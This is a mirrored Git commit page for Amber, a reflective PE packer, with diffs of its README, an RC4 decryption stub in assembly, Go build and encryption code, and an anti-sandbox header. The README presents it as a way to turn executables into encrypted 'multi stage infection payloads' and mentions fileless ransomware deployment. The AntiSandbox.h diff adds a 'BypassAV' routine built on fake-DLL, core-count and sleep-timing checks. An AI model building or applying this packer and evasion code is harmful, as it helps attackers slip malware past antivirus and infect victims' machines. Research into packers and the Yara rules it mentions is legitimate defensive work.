admin/thomasxm-amber
1
0
Fork 0
mirror of https://github.com/thomasxm/amber synced 2026-06-08 17:46:04 +00:00
Code Issues Packages Projects Releases Wiki Activity

Major version update

Browse Source 
- RC4 encryption added
- Better installation mechanism
- EXE resource updated
- Yara rule added
- Several minor bug fixes
- Optimized compile and assemble
This commit is contained in:
EgeBalci
2017-12-03 17:07:24 +03:00
parent 581a48dff0
commit 1b4540f4e6
18 changed files with 390 additions and 278 deletions
Download Patch File Download Diff File Expand all files Collapse all files
README.md
+10 -9
View File
@@ -1,7 +1,9 @@
# AMBER ![Version](https://img.shields.io/badge/version-1.0-brightgreen.svg) [![License](https://img.shields.io/packagist/l/doctrine/orm.svg)](https://raw.githubusercontent.com/EgeBalci/Amber/master/LICENSE) [![Golang](https://img.shields.io/badge/Golang-1.9-blue.svg)](https://golang.org) [![Twitter](https://img.shields.io/twitter/url/http/shields.io.svg?style=social)](https://twitter.com/egeblc)
[![Banner](https://github.com/EgeBalci/Amber/raw/master/Banner.png)](https://github.com/egebalci/Amber)
[![Version](https://img.shields.io/badge/version-1.1.0-green.svg)](https://github.com/egebalci/Amber) [![License](https://img.shields.io/packagist/l/doctrine/orm.svg)](https://raw.githubusercontent.com/EgeBalci/Amber/master/LICENSE) [![Golang](https://img.shields.io/badge/Golang-1.9-blue.svg)](https://golang.org) [![Twitter](https://img.shields.io/twitter/url/http/shields.io.svg?style=social)](https://twitter.com/egeblc)
Amber is a proof of concept packer, it can pack regularly compiled PE files into reflective PE files that can be used as multi stage infection payloads. If you want to learn the packing methodology used inside the Amber check out below.
@@ -80,28 +82,27 @@ SUPPORTED PLATFORMS:
// ╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝ ╚══════╝╚═╝ ╚═╝
// POC Reflective PE Packer
# Version: 1.0.0
# Version: 1.1.0
# Source: github.com/egebalci/Amber
USAGE:
amber file.exe [options]
amber [options] file.exe
OPTIONS:
-k, --key [string] Custom cipher key
-ks,--keysize <length> Size of the encryption key in bytes (Max:100/Min:4)
-ks,--keysize <length> Size of the encryption key in bytes (Max:255/Min:8)
--staged Generated a staged payload
--iat Uses import address table entries instead of hash api
--no-resource Don't add any resource
-v, --verbose Verbose output mode
--no-unicode Alternative banner for terminals that does not support unicode
-h, --help Show this massage
EXAMPLE:
(Default settings if no option parameter passed)
amber file.exe -ks 8
amber -ks 8 file.exe
<strong>Fileless ransomware deployment with powershell</strong>
@@ -146,9 +147,9 @@ When no extra parameters passed (only the file name) packer generates a multi st
- [ ] Add MacOS support
- [ ] Add.NET file support
- [ ] Add a IAT parser shellcode to stub
- [ ] Add yara rules to repo
- [x] Add yara rules to repo
- [ ] Write a unpacker for Amber payloads
- [x] Add RC4 encryption to payloads
- [ ] Automate IAT index address finding on --iat option
- [ ] Add assembly encoder & anti debug features
- [ ] Add more integrity checks to the file mapping function
- [ ] Better installation mechanism
- [x] Better installation mechanism
core/RC4.asm
+61
View File
@@ -0,0 +1,61 @@
;-----------------------------------------------------------------------------;
; Authors: Michael Schierl, Ege Balcı
; Version: 2.0 (02 December 2017)
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: EBP - Data to decode
; ESI - Key
; ECX - Data size
; EDI - Scratch place for S-box
; Direction flag has to be cleared
; Output: None. Data is decoded in place.
; Clobbers: EAX, EBX, ECX, EDX, EBP
cld
call start
Payload:
incbin "../Payload.rc4"
PSize: equ $-Payload
Key:
incbin "../Payload.key"
KSize: equ $-Key
; Initialize S-box
start:
pop ebp ; Pop out the address of payload to ebp
lea esi,[ebp+PSize] ; Load the address of key to esi
mov ecx,PSize ; Move the size of the amber payload to ecx
mov edi,esp ; Set the address of stack as scratch box
xor eax, eax ; Start with 0
init:
stosb ; Store next SBox byte S[i] = i
inc al ; Increase byte to write (EDI is increased automatically)
jnz init ; Loop until we wrap around
sub edi, 0x100 ; Restore EDI
; Permute S-box according to key
xor ebx, ebx ; Clear EBX (EAX is already cleared)
permute:
add bl,[edi+eax] ; BL += S[AL] + KEY[AL % sizeof(Key)]
mov edx,eax ;
and dl,KSize-1 ; dl & sizeof(Key)
add bl,[esi+edx] ; Move next byte of key to bl
mov dl,[edi+eax] ; swap S[AL] and S[BL]
xchg dl,[edi+ebx] ; ..
mov [edi+eax], dl ; ..
inc al ; AL += 1 until we wrap around
jnz permute ;
; Decryption loop
xor ebx, ebx ; Clear EBX (EAX is already cleared)
decrypt:
inc al ; AL += 1
add bl,[edi+eax] ; BL += S[AL]
mov dl,[edi+eax] ; swap S[AL] and S[BL]
xchg dl,[edi+ebx] ;
mov [edi+eax], dl ;
add dl,[edi+ebx] ; DL = S[AL]+S[BL]
mov dl,[edi+edx] ; DL = S[DL]
xor [ebp],dl ; [EBP] ^= DL
inc ebp ; Advance data pointer
dec ecx ; Reduce counter
jnz decrypt ; Until finished
jmp Payload
setup.sh
+2 -2
View File
@@ -61,7 +61,7 @@ if [ $DIST == "Arch" ] || [ $DIST == "Manjaro" ]; then
echo '// / | \/ Y \ | \| \ | | \'
echo '// \____|__ /\____|__ /______ /_______ / |____|_ /'
echo '// \/ \/ \/ \/ \/ '
echo '// POC Reflective PE Packer'
echo '// POC Reflective PE Packer v1.1.0'
else
#tput setaf 1;
@@ -72,7 +72,7 @@ else
echo "// ██╔══██║██║╚██╔╝██║██╔══██╗██╔══╝ ██╔══██╗"
echo "// ██║ ██║██║ ╚═╝ ██║██████╔╝███████╗██║ ██║"
echo "// ╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝ ╚══════╝╚═╝ ╚═╝"
echo "// POC Reflective PE Packer ☣ "
echo "// POC Reflective PE Packer ☣ v1.1.0"
#echo -e " "$Color_Off
fi
src/amber.go
+60 -26
View File
@@ -1,10 +1,13 @@
package main
import "path/filepath"
import "debug/pe"
import "strconv"
import "os/exec"
import "runtime"
import "strings"
import "errors"
import "os"
func main() {
@@ -16,28 +19,32 @@ func main() {
Help()
os.Exit(0)
}
Banner()
Banner()
// Set the default values...
peid.fileName = ARGS[0]
peid.keySize = 7
peid.KeySize = 0
peid.staged = false
peid.resource = true
peid.verbose = false
peid.iat = false
peid.debug = false
// Parse the parameters...
for i := 0; i < len(ARGS); i++ {
if ARGS[i] == "-ks" || ARGS[i] == "--keysize" {
ks, Err := strconv.Atoi(ARGS[i+1])
if Err != nil {
ParseError(Err,"\n[!] ERROR: Invalid key size.\n","")
ParseError(Err,"Invalid key size.\n"," ")
} else {
peid.keySize = ks
peid.KeySize = ks
}
}
if ARGS[i] == "-k" || ARGS[i] == "--key" {
peid.key = []byte(ARGS[i+1])
if len([]byte(ARGS[i+1])) < 8 {
ParseError(errors.New("Invalid key size !"),"Key size can't be smaller than 8 byte.\n"," ")
}
peid.KeySize = len([]byte(ARGS[i+1]))
}
if ARGS[i] == "--staged" {
peid.staged = true
@@ -51,18 +58,26 @@ func main() {
if ARGS[i] == "-v" || ARGS[i] == "--verbose" {
peid.verbose = true
}
if ARGS[i] == "--debug" {
peid.debug = true
}
}
if peid.KeySize == 0 && peid.staged == false {
peid.KeySize = 8
}
// Show status
BoldYellow.Print("\n[*] File: ")
BoldBlue.Println(peid.fileName)
BoldBlue.Println(peid.FileName)
BoldYellow.Print("[*] Staged: ")
BoldBlue.Println(peid.staged)
if len(peid.key) != 0 {
BoldYellow.Print("[*] Key: ")
BoldBlue.Println(peid.key)
BoldBlue.Println(string(peid.key))
} else {
BoldYellow.Print("[*] Key Size: ")
BoldBlue.Println(peid.keySize)
BoldBlue.Println(peid.KeySize)
}
BoldYellow.Print("[*] IAT: ")
BoldBlue.Println(peid.iat)
@@ -72,10 +87,18 @@ func main() {
// Create the process bar
CreateProgressBar()
CheckRequirements() // Check the required setup (6 steps)
// Get the absolute path of the file
abs,abs_err := filepath.Abs(ARGS[(len(ARGS)-1)])
ParseError(abs_err,"Can not open input file.","")
peid.FileName = abs
progress()
Cdir("/usr/share/Amber")
progress()
// Open the input file
verbose("Opening input file...","*")
file, fileErr := pe.Open(ARGS[0])
ParseError(fileErr,"\n[!] ERROR: Can not open input file.","")
file, FileErr := pe.Open(peid.FileName)
ParseError(FileErr,"Can not open input file.","")
progress()
// Analyze the input file
analyze(file) // 10 steps
@@ -83,8 +106,15 @@ func main() {
assemble() // 10 steps
if peid.staged == true {
exec.Command("sh", "-c", string("mv Payload "+peid.fileName+".stage")).Run()
if peid.KeySize != 0 {
crypt() // 4 steps
Cdir("/usr/share/Amber/core")
nasm, Err := exec.Command("nasm","-f","bin","RC4.asm","-o","/usr/share/Amber/Payload").Output()
ParseError(Err,"While assembling the RC4 decipher header.",string(nasm))
}
move("/usr/share/Amber/Payload",string(peid.FileName+".stage"))
} else {
crypt() // 4 steps
compile() // Compile the amber stub (10 steps)
}
// Clean the created files
@@ -93,12 +123,12 @@ func main() {
progressBar.Finish()
}
var getSize string = string("wc -c " + peid.fileName + "|awk '{print $1}'|tr -d '\n'")
var getSize string = string("wc -c " + peid.FileName + "|awk '{print $1}'|tr -d '\n'")
if peid.staged == true {
getSize = string("wc -c " + peid.fileName+ ".stage" + "|awk '{print $1}'|tr -d '\n'")
getSize = string("wc -c " + peid.FileName+ ".stage" + "|awk '{print $1}'|tr -d '\n'")
}
wc, wcErr := exec.Command("sh", "-c", getSize).Output()
ParseError(wcErr,"\n[!] ERROR: While getting the file size",string(wc))
ParseError(wcErr,"While getting the file size",string(wc))
BoldYellow.Print("\n[*] ")
white.Println("Final Size: " + peid.fileSize + " -> " + string(wc) + " bytes")
@@ -120,7 +150,7 @@ func Banner() {
// ██╔══██║██║╚██╔╝██║██╔══██╗██╔══╝ ██╔══██╗
// ██║ ██║██║ ╚═╝ ██║██████╔╝███████╗██║ ██║
// ╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝ ╚══════╝╚═╝ ╚═╝
// POC Reflective PE Packer ☣
// POC Reflective PE Packer ☣
`
var ArchBanner string = `
@@ -143,12 +173,18 @@ func Banner() {
}else{
BoldRed.Print(BANNER)
}
//BoldRed.Print(BANNER)
BoldBlue.Print("\n# Version: ")
BoldGreen.Println(VERSION)
BoldBlue.Print("# Author: ")
BoldGreen.Println("Ege Balcı")
BoldBlue.Print("# Source: ")
BoldGreen.Println("github.com/egebalci/Amber")
}
@@ -156,23 +192,21 @@ func Help() {
var Help string = `
USAGE:
amber file.exe [options]
amber [options] file.exe
OPTIONS:
-k, --key [string] Custom cipher key
-ks,--keysize <length> Size of the encryption key in bytes (Max:100/Min:4)
--staged Generated a staged payload
--iat Uses import address table entries instead of hash api
--no-resource Don't add any resource
-v, --verbose Verbose output mode
--no-unicode Alternative banner for terminals that does not support unicode
-h, --help Show this massage
-k, --key Custom cipher key
-ks,--keysize Size of the encryption key in bytes (Max:255/Min:8)
--staged Generated a staged payload
--iat Uses import address table entries instead of hash api
--no-resource Don't add any resource data
-v, --verbose Verbose output mode
-h, --help Show this massage
EXAMPLE:
(Default settings if no option parameter passed)
amber file.exe -ks 8
amber -ks 8 file.exe
`
green.Println(Help)
src/analyze.go
+7 -7
View File
@@ -9,13 +9,13 @@ func analyze(file *pe.File) {
//Do analysis on pe file...
verbose("Analyzing PE file...","*")
if file.FileHeader.Machine != 0x14C {
ParseError(errors.New(""),"\n[!] ERROR: File is not a 32 bit PE.","")
ParseError(errors.New("False machine value !"),"File is not a 32 bit PE.","")
}
progress()
var Opt *pe.OptionalHeader32 = file.OptionalHeader.(*pe.OptionalHeader32)
// PE32 = 0x10B
if Opt.Magic != 0x10B {
ParseError(errors.New(""),"\n[!] ERROR: File is not a valid PE.","")
ParseError(errors.New("False magic value !"),"File is not a valid PE.","")
}
progress()
peid.imageBase = Opt.ImageBase
@@ -37,11 +37,11 @@ func analyze(file *pe.File) {
}
progress()
if (Opt.DataDirectory[11].Size) != 0x00 {
ParseError(errors.New(""),"\n[!] ERROR: File has bounded imports.","")
ParseError(errors.New("File has bounded imports."),"EXE files with bounded imports not supported.","")
}
progress()
if (Opt.DataDirectory[14].Size) != 0x00 {
ParseError(errors.New(""),"\n[!] ERROR: .NET binaries are not supported.","")
ParseError(errors.New("Unempty CLR section !"),".NET binaries are not supported.","")
}
progress()
if (Opt.DataDirectory[13].Size) != 0x00 {
@@ -49,11 +49,11 @@ func analyze(file *pe.File) {
}
progress()
if (Opt.DataDirectory[1].Size) == 0x00 {
ParseError(errors.New(""),"\n[!] ERROR: File has empty import table.","")
ParseError(errors.New(""),"File has empty import table.","")
}
progress()
wc, wcErr := exec.Command("sh", "-c", string("wc -c "+peid.fileName+"|awk '{print $1}'|tr -d '\n'")).Output()
ParseError(wcErr,"\n[!] ERROR: While getting the file size",string(wc))
wc, wcErr := exec.Command("sh", "-c", string("wc -c "+peid.FileName+"|awk '{print $1}'|tr -d '\n'")).Output()
ParseError(wcErr,"While getting the file size",string(wc))
peid.fileSize = string(wc)
progress()
src/assemble.go
+20 -36
View File
@@ -8,10 +8,10 @@ func assemble() {
verbose("Assembling reflective payload...","*")
// Create a file mapping image (6 steps)
Map, MapErr:= CreateFileMapping(peid.fileName)
ParseError(MapErr,"\n[!] ERROR: While creating file mapping","")
Map, MapErr:= CreateFileMapping(peid.FileName)
ParseError(MapErr,"While creating file mapping","")
MapFile, MapFileErr := os.Create("Mem.map")
ParseError(MapFileErr,"\n[!] ERROR: While getting the file size","")
ParseError(MapFileErr,"While getting the file size","")
MapFile.Write(Map.Bytes())
MapFile.Close()
@@ -19,54 +19,38 @@ func assemble() {
progress()
if peid.aslr == false {
moveMapCommand := "mv Mem.map core/Fixed/"
if peid.iat == true {
moveMapCommand += "iat/"
move("/usr/share/Amber/Mem.map","/usr/share/Amber/core/Fixed/iat/Mem.map")
}else{
move("/usr/share/Amber/Mem.map","/usr/share/Amber/core/Fixed/Mem.map")
}
moveMap, moveMapErr := exec.Command("sh", "-c", moveMapCommand).Output()
ParseError(moveMapErr,"\n[!] ERROR: While moving the file map",string(moveMap))
progress()
nasmCommand := "cd core/Fixed/"
Cdir("/usr/share/Amber/core/Fixed")
if peid.iat == true {
nasmCommand += "iat/"
Cdir("/usr/share/Amber/core/Fixed/iat")
}
nasmCommand += " && nasm -f bin Stub.asm -o Payload"
nasm, Err := exec.Command("sh", "-c", nasmCommand).Output()
ParseError(Err,"\n[!] ERROR: While assembling payload :(",string(nasm))
progress()
movePayloadCommand := "mv core/Fixed/Payload ./"
if peid.iat == true {
movePayloadCommand = "mv core/Fixed/iat/Payload ./"
}
movePayload, movePayErr := exec.Command("sh", "-c", movePayloadCommand).Output()
ParseError(movePayErr,"\n[!] ERROR: While moving the payload",string(movePayload))
nasm, Err := exec.Command("nasm","-f","bin","Stub.asm","-o","/usr/share/Amber/Payload").Output()
ParseError(Err,"While assembling payload :(",string(nasm))
progress()
} else {
moveMapCommand := "mv Mem.map core/ASLR/"
if peid.iat == true {
moveMapCommand += "iat/"
move("/usr/share/Amber/Mem.map","/usr/share/Amber/core/ASLR/iat/Mem.map")
}else{
move("/usr/share/Amber/Mem.map","/usr/share/Amber/core/ASLR/Mem.map")
}
moveMap, moveMapErr := exec.Command("sh", "-c", moveMapCommand).Output()
ParseError(moveMapErr,"\n[!] ERROR: While moving the file map",string(moveMap))
progress()
nasmCommand := "cd core/ASLR/"
Cdir("/usr/share/Amber/core/ASLR")
if peid.iat == true {
nasmCommand += "iat/"
Cdir("/usr/share/Amber/core/Fixed/iat/")
}
nasmCommand += " && nasm -f bin Stub.asm -o Payload"
nasm, Err := exec.Command("sh", "-c", nasmCommand).Output()
ParseError(Err,"\n[!] ERROR: While assembling payload :(",string(nasm))
progress()
movePayloadCommand := "mv core/ASLR/Payload ./"
if peid.iat == true {
movePayloadCommand = "mv core/ASLR/iat/Payload ./"
}
movePayload, movePayErr := exec.Command("sh", "-c", movePayloadCommand).Output()
ParseError(movePayErr,"\n[!] ERROR: While moving the payload",string(movePayload))
nasm, Err := exec.Command("nasm","-f","bin","Stub.asm","-o","/usr/share/Amber/Payload").Output()
ParseError(Err,"While assembling payload :(",string(nasm))
progress()
}
Cdir("/usr/share/Amber")
verbose("Assebly completed.", "*")
}
src/compile.go
+16 -18
View File
@@ -1,23 +1,21 @@
package main
import "os/exec"
import "os"
//import "os"
func compile() {
verbose("Ciphering payload...","*")
crypt() // 4 steps
xxd := exec.Command("sh", "-c", "rm Payload && mv Payload.xor Payload && xxd -i Payload > stub/payload.h")
xxd.Stdout = os.Stdout
xxd.Stderr = os.Stderr
xxd.Run()
move("Payload.rc4","Payload")
xxd_err := exec.Command("sh", "-c", "xxd -i Payload > stub/payload.h").Run()
if xxd_err != nil {
ParseError(xxd_err,"While extracting payload hex stream.","")
}
progress()
_xxd := exec.Command("sh", "-c", "xxd -i Payload.key > stub/key.h")
_xxd.Stdout = os.Stdout
_xxd.Stderr = os.Stderr
_xxd.Run()
_xxd_err := exec.Command("sh", "-c", "xxd -i Payload.key > stub/key.h").Run()
if _xxd_err != nil {
ParseError(_xxd_err,"While extracting key hex stream.","")
}
progress()
var compileCommand string = "i686-w64-mingw32-g++-win32 -c stub/stub.cpp"
@@ -27,7 +25,7 @@ func compile() {
mingwObj, mingwObjErr := exec.Command("sh", "-c", compileCommand).Output()
ParseError(mingwObjErr,"\n[!] ERROR: While compiling the object file.",string(mingwObj))
ParseError(mingwObjErr,"While compiling the object file.",string(mingwObj))
progress()
@@ -41,20 +39,20 @@ func compile() {
compileCommand += "stub/Resource.o "
}
if peid.subsystem == 2 { // GUI
compileCommand += string("-mwindows -o "+peid.fileName)
compileCommand += string("-mwindows -o "+peid.FileName)
}else{
compileCommand += string("-o "+peid.fileName)
compileCommand += string("-o "+peid.FileName)
}
progress()
verbose("Compiling to EXE...","*")
mingw, mingwErr := exec.Command("sh", "-c", compileCommand).Output()
ParseError(mingwErr,"\n[!] ERROR: While compiling to exe. (This might caused by a permission issue)",string(mingw))
ParseError(mingwErr,"While compiling to exe. (This might caused by a permission issue)",string(mingw))
progress()
strip, stripErr := exec.Command("sh", "-c", string("strip "+peid.fileName)).Output()
ParseError(stripErr,"\n[!] ERROR: While striping the exe.",string(strip))
strip, stripErr := exec.Command("sh", "-c", string("strip "+peid.FileName)).Output()
ParseError(stripErr,"While striping the exe.",string(strip))
progress()
}
src/crypt.go
+50 -31
View File
@@ -1,9 +1,11 @@
package main
import "crypto/rc4"
import "math/rand"
import "io/ioutil"
import "os/exec"
import "strconv"
import "time"
import "os"
@@ -13,45 +15,51 @@ func crypt() {
if len(peid.key) != 0 {
payload, err := ioutil.ReadFile("Payload")
ParseError(err,"[!] ERROR: Can't open payload file.","")
ParseError(err,"Can't open payload file.","")
progress()
payload = xor(payload,peid.key)
payload_xor, err2 := os.Create("Payload.xor")
ParseError(err2,"[!] ERROR: Can't create payload.xor file.","")
if (len(peid.key)%8) != 0 && peid.staged == true {
//tmp := make([]byte,(len(peid.key)+(8-len(peid.key)%8)))
peid.key = append(peid.key,GenerateKey(8-(len(peid.key)%8))...)
verbose(string("Key size rounded to "+strconv.Itoa(len(peid.key))),"*")
}
progress()
payload = RC4(payload,peid.key)
payload_rc4, err2 := os.Create("Payload.rc4")
ParseError(err2,"Can't create payload.rc4 file.","")
progress()
payload_key, err3 := os.Create("Payload.key")
ParseError(err3,"[!] ERROR: Can't create payload.xor file.","")
payload_xor.Write(payload)
payload_xor.Write(peid.key)
payload_xor.Close()
ParseError(err3,"Can't create payload.rc4 file.","")
payload_rc4.Write(payload)
payload_rc4.Write(peid.key)
payload_rc4.Close()
payload_key.Close()
progress()
}else{
key := generateKey(peid.keySize)
key := GenerateKey(peid.KeySize)
if peid.KeySize != len(key) {
verbose(string("Key size rounded to "+strconv.Itoa(len(key))),"*")
}
progress()
payload, err := ioutil.ReadFile("Payload")
ParseError(err,"[!] ERROR: Can't open payload file.","")
ParseError(err,"Can't open payload file.","")
progress()
payload = xor(payload,key)
payload_xor, err2 := os.Create("Payload.xor")
ParseError(err2,"[!] ERROR: Can't create payload.xor file.","")
payload = RC4(payload,key)
payload_rc4, err2 := os.Create("Payload.rc4")
ParseError(err2,"Can't create payload.rc4 file.","")
progress()
payload_key, err3 := os.Create("Payload.key")
ParseError(err3,"[!] ERROR: Can't create payload.xor file.","")
payload_xor.Write(payload)
ParseError(err3,"Can't create payload.rc4 file.","")
payload_rc4.Write(payload)
payload_key.Write(key)
payload_xor.Close()
payload_rc4.Close()
payload_key.Close()
}
progress()
verbose("Payload encrypted with RC4 algorithm\n","*")
hex, _ := exec.Command("sh", "-c", "xxd -i Payload.key").Output()
verbose("Payload ciphered with: \n","*")
verbose(string(hex),"B")
remove("Payload")
}
@@ -62,14 +70,25 @@ func xor(Data []byte, Key []byte) ([]byte){
return Data
}
func generateKey(Size int) ([]byte){
Key := make([]byte, Size)
rand.Seed(time.Now().UTC().UnixNano())
for i := 0; i < Size; i++{
Key[i] = byte(rand.Intn(255))
}
return Key
func RC4(data []byte, Key []byte) ([]byte){
c,e := rc4.NewCipher(Key)
ParseError(e,"While RC4 encryption !","")
dst := make([]byte, len(data))
c.XORKeyStream(dst, data)
return dst
}
// Implement RC4...
func GenerateKey(Size int) ([]byte){
if peid.staged == true && (Size%8) != 0 && Size >= 8{
Size += (8-(Size%8))
}
Key := make([]byte, Size)
rand.Seed(time.Now().UTC().UnixNano())
for i := 0; i < Size; i++{
Key[i] = byte(rand.Intn(255))
}
return Key
}
src/debug.go
+57 -37
View File
@@ -4,7 +4,6 @@ import "os"
import "fmt"
import "os/exec"
import "strings"
//import "github.com/fatih/color"
import "gopkg.in/cheggaaa/pb.v1"
@@ -16,7 +15,7 @@ func progress() {
func CreateProgressBar() {
var full int = 46
var full int = 48
if peid.verbose == false {
if peid.staged == true {
@@ -69,63 +68,62 @@ func CheckRequirements() {
progress()
CheckMingw, mingwErr := exec.Command("sh", "-c", "i686-w64-mingw32-g++ --version").Output()
if !strings.Contains(string(CheckMingw), "Copyright") {
ParseError(mingwErr,"\n\n[!] ERROR: MingW is not installed.",string(CheckMingw))
ParseError(mingwErr,"MingW is not installed.",string(CheckMingw))
}
progress()
CheckNasm, _ := exec.Command("sh", "-c", "nasm -h").Output()
if !strings.Contains(string(CheckNasm), "usage:") {
ParseError(nil,"\n\n[!] ERROR: nasm is not installed.",string(CheckNasm))
ParseError(nil,"nasm is not installed.",string(CheckNasm))
}
progress()
CheckStrip, _ := exec.Command("sh", "-c", "strip -V").Output()
if !strings.Contains(string(CheckStrip), "Copyright") {
ParseError(nil,"\n\n[!] ERROR: strip is not installed.",string(CheckStrip))
ParseError(nil,"strip is not installed.",string(CheckStrip))
}
progress()
CheckXXD, _ := exec.Command("sh", "-c", "echo Amber|xxd").Output()
if !strings.Contains(string(CheckXXD), "Amber") {
ParseError(nil,"\n\n[!] ERROR: xxd is not installed.",string(CheckMingw))
ParseError(nil,"xxd is not installed.",string(CheckMingw))
}
progress()
CheckMultiLib, _ := exec.Command("sh", "-c", "pacman -Qs gcc-multilib").Output()
if strings.Contains(string(CheckMultiLib), "The GNU Compiler") {
ParseError(nil,"\n\n[!] ERROR: gcc-multilib is not installed.",string(CheckMultiLib))
ParseError(nil,"gcc-multilib is not installed.",string(CheckMultiLib))
}
progress()
}else{
CheckMingw, mingwErr := exec.Command("sh", "-c", "i686-w64-mingw32-g++-win32 --version").Output()
if !strings.Contains(string(CheckMingw), "Copyright") {
ParseError(mingwErr,"\n\n[!] ERROR: MingW is not installed.",string(CheckMingw))
ParseError(mingwErr,"MingW is not installed.",string(CheckMingw))
}
progress()
CheckNasm, _ := exec.Command("sh", "-c", "nasm -h").Output()
if !strings.Contains(string(CheckNasm), "usage:") {
ParseError(nil,"\n\n[!] ERROR: nasm is not installed.",string(CheckNasm))
ParseError(nil,"nasm is not installed.",string(CheckNasm))
}
progress()
CheckStrip, _ := exec.Command("sh", "-c", "strip -V").Output()
if !strings.Contains(string(CheckStrip), "Copyright") {
ParseError(nil,"\n\n[!] ERROR: strip is not installed.",string(CheckStrip))
ParseError(nil,"strip is not installed.",string(CheckStrip))
}
progress()
CheckXXD, _ := exec.Command("sh", "-c", "echo Amber|xxd").Output()
if !strings.Contains(string(CheckXXD), "Amber") {
ParseError(nil,"\n\n[!] ERROR: xxd is not installed.",string(CheckMingw))
ParseError(nil,"xxd is not installed.",string(CheckMingw))
}
progress()
CheckMultiLib, _ := exec.Command("sh", "-c", "apt-cache policy gcc-multilib").Output()
if strings.Contains(string(CheckMultiLib), "(none)") {
ParseError(nil,"\n\n[!] ERROR: gcc-multilib is not installed.",string(CheckMultiLib))
ParseError(nil,"gcc-multilib is not installed.",string(CheckMultiLib))
}
progress()
CheckMultiLibPlus, _ := exec.Command("sh", "-c", "apt-cache policy g++-multilib").Output()
if strings.Contains(string(CheckMultiLibPlus), "(none)") {
ParseError(nil,"\n\n[!] ERROR: g++-multilib is not installed.",string(CheckMultiLibPlus))
ParseError(nil,"g++-multilib is not installed.",string(CheckMultiLibPlus))
}
progress()
}
}
@@ -135,37 +133,59 @@ func ParseError(Err error,ErrStatus string,Msg string){
//progressBar.Finish()
fmt.Println("\n")
BoldRed.Println(ErrStatus)
fmt.Println(Err)
BoldRed.Println("\n[!] ERROR: "+ErrStatus)
fmt.Println("\nERROR{\n",Err)
if len(Msg) > 0 {
BoldRed.Println(Msg)
fmt.Println(Msg+"\n}\n")
}else{
fmt.Println("\n}\n")
}
if Msg != " " {
clean()
}
clean()
fmt.Println("\n")
os.Exit(1)
}
}
func Cdir(dir string) {
err := os.Chdir(dir)
ParseError(err,"While changing directory.","")
}
func move(Old, New string) {
err := os.Rename(Old,New)
if err != nil {
ParseError(err,"While moving a file.","")
}
}
func remove(file string) {
exec.Command("rm", file).Run()
}
func clean() {
exec.Command("sh", "-c", "rm core/ASLR/Mem.map").Run()
progress()
exec.Command("sh", "-c", "rm core/ASLR/iat/Mem.map").Run()
progress()
exec.Command("sh", "-c", "rm core/Fixed/Mem.map").Run()
progress()
exec.Command("sh", "-c", "rm core/Fixed/iat/Mem.map").Run()
progress()
exec.Command("sh", "-c", "rm stub.o").Run()
progress()
exec.Command("sh", "-c", "rm Payload").Run()
progress()
exec.Command("sh", "-c", "rm Payload.key").Run()
progress()
exec.Command("sh", "-c", "echo > stub/payload.h").Run()
progress()
exec.Command("sh", "-c", "echo > stub/key.h").Run()
progress()
if peid.debug != true {
remove("core/ASLR/Mem.map")
progress()
remove("core/ASLR/iat/Mem.map")
progress()
remove("core/Fixed/Mem.map")
progress()
remove("core/Fixed/iat/Mem.map")
progress()
remove("stub.o")
progress()
remove("Payload")
progress()
remove("Payload.key")
progress()
exec.Command("sh", "-c", "echo > stub/payload.h").Run()
progress()
exec.Command("sh", "-c", "echo > stub/key.h").Run()
progress()
}
}
src/map.go
+5 -5
View File
@@ -30,7 +30,7 @@ func CreateFileMapping(file string) (bytes.Buffer,error){
// Check if the PE file is 64 bit
if File.Machine == 0x8664 {
err := errors.New("[!] ERROR: 64 bit files not supported.")
err := errors.New("64 bit files not supported.")
return bytes.Buffer{},err
}
@@ -57,7 +57,7 @@ func CreateFileMapping(file string) (bytes.Buffer,error){
// Map the section
SectionData, err := File.Sections[i].Data()
if err != nil {
err := errors.New("[!] ERROR: Cannot read section data")
err := errors.New("Cannot read section data")
return bytes.Buffer{},err
}
Map.Write(SectionData)
@@ -92,7 +92,7 @@ func CreateFileMapping(file string) (bytes.Buffer,error){
verbose("\n[#] Performing integrity checks on file mapping...\n|","Y")
if int(OptionalHeader.SizeOfImage) != Map.Len() {
err := errors.New("[!] ERROR: Integrity check failed (Mapping size does not match the size of image header)")
err := errors.New("Integrity check failed (Mapping size does not match the size of image header)")
return bytes.Buffer{},err
}
@@ -100,7 +100,7 @@ func CreateFileMapping(file string) (bytes.Buffer,error){
/*
if Offset != ((File.Sections[len(File.Sections)-1].SectionHeader.VirtualAddress)+(File.Sections[len(File.Sections)-1].SectionHeader.VirtualSize)){
err := errors.New("[!] ERROR: Integrity check failed (Offset does not match the final address)")
err := errors.New("Integrity check failed (Offset does not match the final address)")
return bytes.Buffer{},err
}
@@ -111,7 +111,7 @@ func CreateFileMapping(file string) (bytes.Buffer,error){
Buffer := Map.Bytes()
if RawFile[int(int(File.Sections[i].Offset)+j)] != Buffer[int(int(File.Sections[i].VirtualAddress)+j)]{
err := errors.New("[!] ERROR: Integrity check failed (Broken section alignment)")
err := errors.New("Integrity check failed (Broken section alignment)")
return bytes.Buffer{},err
}
}
src/vars.go
+4 -3
View File
@@ -4,20 +4,21 @@ import "gopkg.in/cheggaaa/pb.v1"
import "github.com/fatih/color"
import "debug/pe"
const VERSION string = "1.0.0"
const VERSION string = "1.1.0"
var PACKET_MANAGER string = "apt"
type peID struct {
// Parameters...
fileName string
keySize int
FileName string
KeySize int
key []byte
staged bool
iat bool
resource bool
verbose bool
debug bool
//Analysis...
fileSize string
stub/AntiSandbox.h
+24 -86
View File
@@ -4,51 +4,36 @@
DWORD WINAPI BypassAV(LPVOID);
void HideWindow();
void Bunny();
void Hop1();
void Hop2();
void Hop3();
void Hop4();
void Hop5();
void Malloc();
DWORD WINAPI BypassAV(LPVOID params){
Bunny();// }=> Obfuscate the code with function calls and garbage memory allocations...
Bunny();
HINSTANCE DLL = LoadLibrary(TEXT("27a01d4772038a3f83552908e0470604e773f8af.dll"));
if(DLL != NULL){
BypassAV(NULL);
}
SYSTEM_INFO SysGuide;
GetSystemInfo(&SysGuide);
int CoreNum = SysGuide.dwNumberOfProcessors;
if(CoreNum < 2){
BypassAV(NULL);
}
HINSTANCE DLL = LoadLibrary(TEXT("fakeass.dll")); //}
if(DLL != NULL){// |
BypassAV(NULL); // |=> Try to load a fake dll...
}// }
int Tick = GetTickCount();
Sleep(1000);
int Tac = GetTickCount();
if((Tac - Tick) < 1000){
BypassAV(NULL);
}
SYSTEM_INFO SysGuide;// }
